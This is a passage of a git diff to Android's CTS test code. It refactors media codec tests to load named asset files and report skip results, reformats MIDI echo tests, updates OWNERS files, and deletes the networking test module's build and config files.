-            new MediaAsset(R.raw.swirl_130x132_vp9, 130, 132));
+            new MediaAsset("swirl_128x128_vp9.webm", 128, 128),
+            new MediaAsset("swirl_144x136_vp9.webm", 144, 136),
+            new MediaAsset("swirl_136x144_vp9.webm", 136, 144),
+            new MediaAsset("swirl_132x130_vp9.webm", 132, 130),
+            new MediaAsset("swirl_130x132_vp9.webm", 130, 132));
 
     static final float SWIRL_FPS = 12.f;
 
@@ -249,7 +259,7 @@
 
         private void videoDecode(
                 MediaAsset asset, int imageFormat, int colorFormat, int mode, boolean checkSwirl) {
-            int video = asset.getResource();
+            String video = asset.getResource();
             int width = asset.getWidth();
             int height = asset.getHeight();
 
@@ -267,14 +277,14 @@
                 extractor = new MediaExtractor();
 
                 try {
-                    vidFD = mResources.openRawResourceFd(video);
+                    vidFD = getAssetFileDescriptorFor(video);
                     extractor.setDataSource(
                             vidFD.getFileDescriptor(), vidFD.getStartOffset(), vidFD.getLength());
                 } catch (NotFoundException e) {
                     // resource is compressed, uncompress locally
                     String tmpName = "tempStream";
                     tmpFile = File.createTempFile(tmpName, null, mContext.getCacheDir());
-                    is = mResources.openRawResource(video);
+                    is = new FileInputStream(mInpPrefix + video);
                     os = new FileOutputStream(tmpFile);
                     byte[] buf = new byte[1024];
                     int len;
@@ -303,8 +313,8 @@
                     vidFD.close();
                 }
             } catch (Throwable e) {
-                throw new RuntimeException("while " + mName + " decoding "
-                        + mResources.getResourceEntryName(video) + ": " + mediaFormat, e);
+                throw new RuntimeException(
+                        "while " + mName + " decoding " + video + ": " + mediaFormat, e);
             } finally {
                 if (decoder != null) {
                     decoder.release();
@@ -397,7 +407,7 @@
         Decoder[] decoders = other(new MediaAssets(
                 MediaFormat.MIMETYPE_VIDEO_AVC,
                 new MediaAsset(
-                        R.raw.video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz,
+                        "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
                         480 /* width */, 360 /* height */)));
 
         decodeTest(decoders, MODE_IMAGEREADER, false /* checkSwirl */);
@@ -410,7 +420,7 @@
         Decoder[] decoders = goog(new MediaAssets(
                 MediaFormat.MIMETYPE_VIDEO_AVC,
                 new MediaAsset(
-                        R.raw.video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz,
+                        "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
                         480 /* width */, 360 /* height */)));
 
         decodeTest(decoders, MODE_IMAGEREADER, false /* checkSwirl */);
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index 4f482e1..23333e5 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -55,9 +55,8 @@
 import java.util.UUID;;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.BooleanSupplier;
+import java.util.function.Supplier;
 
 /**
  * MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
@@ -179,13 +178,17 @@
     public void testFormatChange() throws InterruptedException {
         if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         List<FormatChangeEvent> events = new ArrayList<>();
-        runThread(() -> runDecodeShortVideo(
+        Result result = runThread(() -> runDecodeShortVideo(
                 getMediaExtractorForMimeType(INPUT_RESOURCE, "video/"),
                 LAST_BUFFER_TIMESTAMP_US,
                 true /* obtainBlockForEachBuffer */,
                 MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 320, 240),
                 events,
                 null /* sessionId */));
+        if (result == Result.SKIP) {
+            MediaUtils.skipTest("skipped");
+            return;
+        }
         int width = 320;
         int height = 240;
         for (FormatChangeEvent event : events) {
@@ -200,11 +203,17 @@
         assertEquals("Height should have been updated", 360, height);
     }
 
-    private void runThread(BooleanSupplier supplier) throws InterruptedException {
-        final AtomicBoolean completed = new AtomicBoolean(false);
+    private enum Result {
+        SUCCESS,
+        FAIL,
+        SKIP,
+    }
+
+    private Result runThread(Supplier<Result> supplier) throws InterruptedException {
+        final AtomicReference<Result> result = new AtomicReference<>(Result.FAIL);
         Thread thread = new Thread(new Runnable() {
             public void run() {
-                completed.set(supplier.getAsBoolean());
+                result.set(supplier.get());
             }
         });
         final AtomicReference<Throwable> throwable = new AtomicReference<>();
@@ -217,7 +226,8 @@
         if (t != null) {
             throw new AssertionError("There was an error while running the thread", t);
         }
-        assertTrue("timed out decoding to end-of-stream", completed.get());
+        assertTrue("timed out decoding to end-of-stream", result.get() != Result.FAIL);
+        return result.get();
     }
 
     private static class LinearInputBlock {
@@ -452,7 +462,7 @@
         final int index;
     }
 
-    private boolean runDecodeShortVideo(
+    private Result runDecodeShortVideo(
             String inputResource,
             long lastBufferTimestampUs,
             boolean obtainBlockForEachBuffer) {
@@ -495,7 +505,7 @@
         return byteArray;
     }
 
-    private boolean runDecodeShortEncryptedVideo(boolean obtainBlockForEachBuffer) {
+    private Result runDecodeShortEncryptedVideo(boolean obtainBlockForEachBuffer) {
         MediaExtractor extractor = new MediaExtractor();
 
         try (final MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID)) {
@@ -517,7 +527,7 @@
             MediaDrmClearkeyTest.retrieveKeys(
                     drm, "cenc", sessionId, DRM_INIT_DATA, MediaDrm.KEY_TYPE_STREAMING,
                     new byte[][] { CLEAR_KEY_CENC });
-            boolean result = runDecodeShortVideo(
+            Result result = runDecodeShortVideo(
                     extractor, ENCRYPTED_CONTENT_LAST_BUFFER_TIMESTAMP_US,
                     obtainBlockForEachBuffer, null /* format */, null /* events */, sessionId);
             drm.closeSession(sessionId);
@@ -545,7 +555,7 @@
         }
     }
 
-    private boolean runDecodeShortVideo(
+    private Result runDecodeShortVideo(
             MediaExtractor mediaExtractor,
             Long lastBufferTimestampUs,
             boolean obtainBlockForEachBuffer,
@@ -573,7 +583,7 @@
             String[] codecs = MediaUtils.getDecoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
                 Log.i(TAG, "No decoder found for format= " + mediaFormat);
-                return true;
+                return Result.SKIP;
             }
             mediaCodec = MediaCodec.createByCodecName(codecs[0]);
 
@@ -582,7 +592,7 @@
                 crypto.setMediaDrmSession(sessionId);
             }
             List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            boolean result = runComponentWithLinearInput(
+            Result result = runComponentWithLinearInput(
                     mediaCodec,
                     crypto,
                     mediaFormat,
@@ -596,7 +606,7 @@
                             .setContentEncrypted(sessionId != null)
                             .build(),
                     new SurfaceOutputSlotListener(outputSurface, timestampList, events));
-            if (result) {
+            if (result == Result.SUCCESS) {
                 assertTrue("Timestamp should match between input / output: " + timestampList,
                         timestampList.isEmpty());
             }
@@ -622,7 +632,7 @@
         }
     }
 
-    private boolean runDecodeShortAudio(
+    private Result runDecodeShortAudio(
             String inputResource,
             long lastBufferTimestampUs,
             boolean obtainBlockForEachBuffer) {
@@ -636,12 +646,12 @@
             String[] codecs = MediaUtils.getDecoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
                 Log.i(TAG, "No decoder found for format= " + mediaFormat);
-                return true;
+                return Result.SKIP;
             }
             mediaCodec = MediaCodec.createByCodecName(codecs[0]);
 
             List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            boolean result = runComponentWithLinearInput(
+            Result result = runComponentWithLinearInput(
                     mediaCodec,
                     null,  // crypto
                     mediaFormat,
@@ -654,7 +664,7 @@
                             .setTimestampQueue(timestampList)
                             .build(),
                     new DummyOutputSlotListener(false /* graphic */, timestampList));
-            if (result) {
+            if (result == Result.SUCCESS) {
                 assertTrue("Timestamp should match between input / output: " + timestampList,
                         timestampList.isEmpty());
             }
@@ -674,7 +684,7 @@
         }
     }
 
-    private boolean runEncodeShortAudio() {
+    private Result runEncodeShortAudio() {
         MediaExtractor mediaExtractor = null;
         MediaCodec mediaCodec = null;
         try {
@@ -688,12 +698,12 @@
             String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
                 Log.i(TAG, "No encoder found for format= " + mediaFormat);
-                return true;
+                return Result.SKIP;
             }
             mediaCodec = MediaCodec.createByCodecName(codecs[0]);
 
             List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
-            boolean result = runComponentWithLinearInput(
+            Result result = runComponentWithLinearInput(
                     mediaCodec,
                     null,  // crypto
                     mediaFormat,
@@ -705,7 +715,7 @@
                             .setTimestampQueue(timestampList)
                             .build(),
                     new DummyOutputSlotListener(false /* graphic */, timestampList));
-            if (result) {
+            if (result == Result.SUCCESS) {
                 assertTrue("Timestamp should match between input / output: " + timestampList,
                         timestampList.isEmpty());
             }
@@ -725,7 +735,7 @@
         }
     }
 
-    private boolean runEncodeShortVideo() {
+    private Result runEncodeShortVideo() {
         final int kWidth = 176;
         final int kHeight = 144;
         final int kFrameRate = 15;
@@ -744,7 +754,7 @@
             String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
                 Log.i(TAG, "No encoder found for format= " + mediaFormat);
-                return true;
+                return Result.SKIP;
             }
             mediaCodec = MediaCodec.createByCodecName(codecs[0]);
 
@@ -757,7 +767,7 @@
                         kWidth, kHeight, HardwareBuffer.YCBCR_420_888, 1 /* layer */, usage)) {
                 Log.i(TAG, "HardwareBuffer doesn't support " + kWidth + "x" + kHeight
                         + "; YCBCR_420_888; usage(" + Long.toHexString(usage) + ")");
-                return true;
+                return Result.SKIP;
             }
 
             List<Long> timestampList = Collections.synchronizedList(new ArrayList<>());
@@ -797,7 +807,7 @@
                 try {
                     event = queue.take();
                 } catch (InterruptedException e) {
-                    return false;
+                    return Result.FAIL;
                 }
 
                 if (event.input) {
@@ -865,7 +875,7 @@
                 assertTrue("Timestamp should match between input / output: " + timestampList,
                         timestampList.isEmpty());
             }
-            return eos;
+            return eos ? Result.SUCCESS : Result.FAIL;
         } catch (IOException e) {
             throw new RuntimeException("error reading input resource", e);
         } catch (Exception e) {
@@ -883,7 +893,7 @@
         }
     }
 
-    private boolean runComponentWithLinearInput(
+    private Result runComponentWithLinearInput(
             MediaCodec mediaCodec,
             MediaCrypto crypto,
             MediaFormat mediaFormat,
@@ -941,7 +951,7 @@
             try {
                 event = queue.take();
             } catch (InterruptedException e) {
-                return false;
+                return Result.FAIL;
             }
 
             if (event.input) {
@@ -952,7 +962,7 @@
         }
 
         input.block.recycle();
-        return eos;
+        return eos ? Result.SUCCESS : Result.FAIL;
     }
 
     private MediaExtractor getMediaExtractorForMimeType(final String resource,
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 5bafd70..4027f3d 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -151,6 +151,8 @@
         tested = verifyException(format, false /* isEncoder */) || tested;
 
         // video encoder (H.264/AVC may not be present on some Android devices)
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
         tested = verifyException(format, true /* isEncoder */) || tested;
 
         // signal test is skipped due to no device media codecs.
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index c0b297f..e04bd47 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -133,9 +133,7 @@
         }
     }
 
-    public void SKIP_testExtractorFailsIfMediaDataSourceReturnsAnError() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorUnitTest$TestApi
-        // #testIfInvalidDataSourceIsRejectedBySetDataSource
+    public void testExtractorFailsIfMediaDataSourceReturnsAnError() throws Exception {
         TestMediaDataSource dataSource = getDataSourceFor("testvideo.3gp");
         dataSource.returnFromReadAt(-2);
         try {
@@ -474,7 +472,7 @@
             }
         }
 
-        // Not all devices support AC4
+        // Not all devices support AC4.
         if (ac4TrackIndex == -1) {
             List<AudioPresentation> presentations =
                     mExtractor.getAudioPresentations(0 /*trackIndex*/);
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 24a598a..7b25b26d 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -1033,6 +1033,11 @@
     }
 
     public void testGetImageAtIndex() throws Exception {
+        if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            MediaUtils.skipTest("no video decoders for resource");
+            return;
+        }
+
         testGetImage("heifwriter_input.heic", 1920, 1080, 0 /*rotation*/,
                 4 /*imageCount*/, 3 /*primary*/, true /*useGrid*/, true /*checkColor*/);
     }
diff --git a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
index 199f617..aa65d2d 100644
--- a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
@@ -113,7 +113,10 @@
             }
     }
 
-    public void testExtractor() throws Exception {
+    public void SKIP_testExtractor() throws Exception {
+        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest#testExtract where
+        // checksum is computed over track format attributes, track buffer and buffer
+        // info in both SDK and NDK side and checked for equality
         testExtractor("sinesweepogg.ogg");
         testExtractor("sinesweepoggmkv.mkv");
         testExtractor("sinesweepoggmp4.mp4");
@@ -274,7 +277,11 @@
             String path, String[] keys, String[] values, boolean testNativeSource);
 
     @Presubmit
-    public void testExtractorFileDurationNative() throws Exception {
+    public void SKIP_testExtractorFileDurationNative() throws Exception {
+        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest#testExtract where
+        // checksum is computed over track format attributes, track buffer and buffer
+        // info in both SDK and NDK side and checked for equality. KEY_DURATION for each track is
+        // part of the checksum.
         testExtractorFileDurationNative(
                 "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
     }
@@ -307,7 +314,8 @@
     private static native long getExtractorFileDurationNative(int fd, long offset, long size);
 
     @Presubmit
-    public void testExtractorCachedDurationNative() throws Exception {
+    public void SKIP_testExtractorCachedDurationNative() throws Exception {
+        // duplicate of CtsMediaV2TestCases:ExtractorTest$SetDataSourceTest#testDataSourceNative
         CtsTestServer foo = new CtsTestServer(mContext);
         String url = foo.getAssetUrl("ringer.mp3");
         long cachedDurationUs = getExtractorCachedDurationNative(url, /* testNativeSource = */ false);
@@ -318,7 +326,9 @@
 
     private static native long getExtractorCachedDurationNative(String uri, boolean testNativeSource);
 
-    public void testDecoder() throws Exception {
+    public void SKIP_testDecoder() throws Exception {
+        // duplicate of CtsMediaV2TestCases:CodecDecoderTest#testSimpleDecode where checksum  is
+        // computed over decoded output in both SDK and NDK side and checked for equality.
         int testsRun =
             testDecoder("sinesweepogg.ogg") +
             testDecoder("sinesweepoggmkv.mkv") +
@@ -560,7 +570,9 @@
             boolean useCallback)
             throws IOException;
 
-    public void testVideoPlayback() throws Exception {
+    public void SKIP_testVideoPlayback() throws Exception {
+        // duplicate of
+        // CtsMediaV2TestCases:CodecDecoderSurfaceTest#testSimpleDecodeToSurfaceNative[*]
         int testsRun =
             testVideoPlayback(
                     "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4") +
diff --git a/tests/tests/media/src/android/media/cts/WorkDir.java b/tests/tests/media/src/android/media/cts/WorkDir.java
index 60fd42f..e93bd19 100644
--- a/tests/tests/media/src/android/media/cts/WorkDir.java
+++ b/tests/tests/media/src/android/media/cts/WorkDir.java
@@ -38,7 +38,7 @@
         android.os.Bundle bundle = InstrumentationRegistry.getArguments();
         String mediaDirString = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
         if (mediaDirString == null) {
-            return (getTopDirString() + "test/CtsMediaTestCases-1.2/");
+            return (getTopDirString() + "test/CtsMediaTestCases-1.4/");
         } else if (!mediaDirString.endsWith(File.separator)) {
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + File.separator;
diff --git a/tests/tests/nativehardware/OWNERS b/tests/tests/nativehardware/OWNERS
index 8d7a421..094065b 100644
--- a/tests/tests/nativehardware/OWNERS
+++ b/tests/tests/nativehardware/OWNERS
@@ -1,2 +1,6 @@
 # Bug component: 24949
-krzysio@google.com
\ No newline at end of file
+chrisforbes@google.com
+jreck@google.com
+krzysio@google.com
+lpy@google.com
+zzyiwei@google.com
diff --git a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
index eb9cbcb..960149b 100644
--- a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
+++ b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
@@ -240,9 +240,8 @@
     @Test
     public void test_A_MidiManager() throws Exception {
         if (!hasMidiSupport()) {
-            return; // Nothing to test
+            return;
         }
-
         Assert.assertNotNull("MidiManager not supported.", mMidiManager);
 
         // There should be at least one device for the Echo server.
@@ -251,7 +250,6 @@
         Assert.assertTrue("device list was empty", infos.length >= 1);
     }
 
-
     @Test
     public void test_AA_LibAMidiExists() throws Exception {
         if (!hasMidiSupport()) {
@@ -266,10 +264,6 @@
             return; // Nothing to test
         }
 
-        if (!hasMidiSupport()) {
-            return; // Nothing to test
-        }
-
         Assert.assertEquals("Didn't start with 0 sends", 0, getNumSends(mTestContext));
         Assert.assertEquals("Didn't start with 0 bytes sent", 0, getNumBytesSent(mTestContext));
 
@@ -286,9 +280,8 @@
     @Test
     public void test_C_EchoSmallMessage() throws Exception {
         if (!hasMidiSupport()) {
-            return; // nothing to test
+            return;
         }
-
         final byte[] buffer = {
                 (byte) 0x93, 0x47, 0x52
         };
@@ -312,15 +305,14 @@
     @Test
     public void test_D_EchoNMessages() throws Exception {
         if (!hasMidiSupport()) {
-            return; // nothing to test
+            return;
         }
-
         int numMessages = 100;
         byte[][] buffers = new byte[numMessages][];
         long timestamps[] = new long[numMessages];
         generateRandomBufers(buffers, timestamps, numMessages);
 
-        for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+        for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
             writeMidiWithTimestamp(mTestContext, buffers[msgIndex], 0, buffers[msgIndex].length,
                     timestamps[msgIndex]);
         }
@@ -334,7 +326,7 @@
                 numMessages, getNumReceivedMessages(mTestContext));
 
         // correct data & order?
-        for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+        for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
             NativeMidiMessage message = getReceivedMessageAt(mTestContext, msgIndex);
             compareMessages(buffers[msgIndex], timestamps[msgIndex], message);
         }
@@ -343,17 +335,16 @@
     @Test
     public void test_E_FlushMessages() throws Exception {
         if (!hasMidiSupport()) {
-            return; // nothing to test
+            return;
         }
-
         int numMessages = 7;
         byte[][] buffers = new byte[numMessages][];
         long timestamps[] = new long[numMessages];
         generateRandomBufers(buffers, timestamps, numMessages);
 
-        for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+        for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
             writeMidiWithTimestamp(mTestContext, buffers[msgIndex], 0, buffers[msgIndex].length,
-              timestamps[msgIndex]);
+                    timestamps[msgIndex]);
         }
 
         // Wait for message to pass through echo service.
@@ -368,7 +359,7 @@
                 numMessages, getNumReceivedMessages(mTestContext));
 
         // correct data & order?
-        for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+        for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
             NativeMidiMessage message = getReceivedMessageAt(mTestContext, msgIndex);
             compareMessages(buffers[msgIndex], timestamps[msgIndex], message);
         }
@@ -377,9 +368,8 @@
     @Test
     public void test_F_HugeMessage() throws Exception {
         if (!hasMidiSupport()) {
-            return; // nothing to test
+            return;
         }
-
         // Arbitrarily large message.
         int hugeMessageLen = 1024 * 10;
         byte[] buffer = generateRandomMessage(hugeMessageLen);
@@ -399,12 +389,11 @@
     @Test
     public void test_G_NativeEchoTime() throws Exception {
         if (!hasMidiSupport()) {
-            return; // nothing to test
+            return;
         }
-
         final int numMessages = 10;
         final long maxLatencyNanos = 15 * NANOS_PER_MSEC; // generally < 3 msec on N6
-        byte[] buffer = { (byte) 0x93, 0, 64 };
+        byte[] buffer = {(byte) 0x93, 0, 64};
 
         // Send multiple messages in a burst.
         for (int index = 0; index < numMessages; index++) {
@@ -425,9 +414,10 @@
             // If this test fails then there may be a problem with the thread scheduler
             // or there may be kernel activity that is blocking execution at the user level.
             Assert.assertTrue("MIDI round trip latency index:" + msgIndex
-                    + " too large, " + elapsedNanos
-                    + " nanoseconds " +
-                    "timestamp:" + message.timestamp + " received:" + message.timeReceived,
+                            + " too large, " + elapsedNanos
+                            + " nanoseconds " +
+                            "timestamp:" + message.timestamp +
+                            " received:" + message.timeReceived,
                     (elapsedNanos < maxLatencyNanos));
         }
     }
@@ -435,15 +425,14 @@
     @Test
     public void test_H_EchoNMessages_PureNative() throws Exception {
         if (!hasMidiSupport()) {
-            return; // nothing to test
+            return;
         }
-
         int numMessages = 2;
         byte[][] buffers = new byte[numMessages][];
         long timestamps[] = new long[numMessages];
         generateRandomBufers(buffers, timestamps, numMessages);
 
-        for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+        for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
             writeMidiWithTimestamp(mTestContext, buffers[msgIndex], 0, buffers[msgIndex].length,
                     timestamps[msgIndex]);
         }
@@ -463,12 +452,11 @@
     @Test
     public void test_I_NativeEchoTime_PureNative() throws Exception {
         if (!hasMidiSupport()) {
-            return; // nothing to test
+            return;
         }
-
         final int numMessages = 10;
         final long maxLatencyNanos = 15 * NANOS_PER_MSEC; // generally < 3 msec on N6
-        byte[] buffer = { (byte) 0x93, 0, 64 };
+        byte[] buffer = {(byte) 0x93, 0, 64};
 
         // Send multiple messages in a burst.
         for (int index = 0; index < numMessages; index++) {
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
deleted file mode 100644
index 913380a..0000000
--- a/tests/tests/net/Android.bp
+++ /dev/null
@@ -1,88 +0,0 @@
-// Copyright (C) 2008 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_defaults {
-    name: "CtsNetTestCasesDefaults",
-    defaults: ["cts_defaults"],
-
-    // Include both the 32 and 64 bit versions
-    compile_multilib: "both",
-
-    libs: [
-        "voip-common",
-        "org.apache.http.legacy",
-        "android.test.base",
-    ],
-
-    jni_libs: [
-        "libcts_jni",
-        "libnativedns_jni",
-        "libnativemultinetwork_jni",
-        "libnativehelper_compat_libc++",
-    ],
-
-    srcs: [
-        "src/**/*.java",
-        "src/**/*.kt",
-    ],
-    jarjar_rules: "jarjar-rules-shared.txt",
-    static_libs: [
-        "FrameworksNetCommonTests",
-        "TestNetworkStackLib",
-        "compatibility-device-util-axt",
-        "core-tests-support",
-        "cts-net-utils",
-        "ctstestrunner-axt",
-        "ctstestserver",
-        "junit",
-        "junit-params",
-        "mockwebserver",
-        "net-utils-framework-common",
-        "truth-prebuilt",
-    ],
-
-    // uncomment when b/13249961 is fixed
-    // sdk_version: "current",
-    platform_apis: true,
-}
-
-// Networking CTS tests for development and release. These tests always target the platform SDK
-// version, and are subject to all the restrictions appropriate to that version. Before SDK
-// finalization, these tests have a min_sdk_version of 10000, and cannot be installed on release
-// devices.
-android_test {
-    name: "CtsNetTestCases",
-    defaults: ["CtsNetTestCasesDefaults"],
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    test_config_template: "AndroidTestTemplate.xml",
-}
-
-// Networking CTS tests that target the latest released SDK. These tests can be installed on release
-// devices at any point in the Android release cycle and are useful for qualifying mainline modules
-// on release devices.
-android_test {
-    name: "CtsNetTestCasesLatestSdk",
-    defaults: ["CtsNetTestCasesDefaults"],
-    jni_uses_sdk_apis: true,
-    min_sdk_version: "29",
-    target_sdk_version: "30",
-    test_suites: [
-        "general-tests",
-        "mts",
-    ],
-    test_config_template: "AndroidTestTemplate.xml",
-}
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
deleted file mode 100644
index a7e2bd7..0000000
--- a/tests/tests/net/AndroidManifest.xml
+++ /dev/null
@@ -1,57 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.net.cts"
-    android:targetSandboxVersion="2">
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CONNECTIVITY_USE_RESTRICTED_NETWORKS" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE" />
-
-    <!-- This test also uses signature permissions through adopting the shell identity.
-         The permissions acquired that way include (probably not exhaustive) :
-             android.permission.MANAGE_TEST_NETWORKS
-    -->
-
-    <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.net.cts"
-                     android:label="CTS tests of android.net">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
-
diff --git a/tests/tests/net/AndroidTestTemplate.xml b/tests/tests/net/AndroidTestTemplate.xml
deleted file mode 100644
index 4e937512..0000000
--- a/tests/tests/net/AndroidTestTemplate.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Test config for {MODULE}">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-
-    <option name="config-descriptor:metadata" key="mainline-param" value="CaptivePortalLoginGoogle.apk+NetworkStackGoogle.apk" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="{MODULE}.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.net.cts" />
-        <option name="runtime-hint" value="9m4s" />
-        <option name="hidden-api-checks" value="false" />
-        <option name="isolated-storage" value="false" />
-    </test>
-</configuration>
diff --git a/tests/tests/net/OWNERS b/tests/tests/net/OWNERS
deleted file mode 100644
index d558556..0000000
--- a/tests/tests/net/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 31808
-lorenzo@google.com
-satk@google.com
diff --git a/tests/tests/net/TEST_MAPPING b/tests/tests/net/TEST_MAPPING
deleted file mode 100644
index 9167c98..0000000
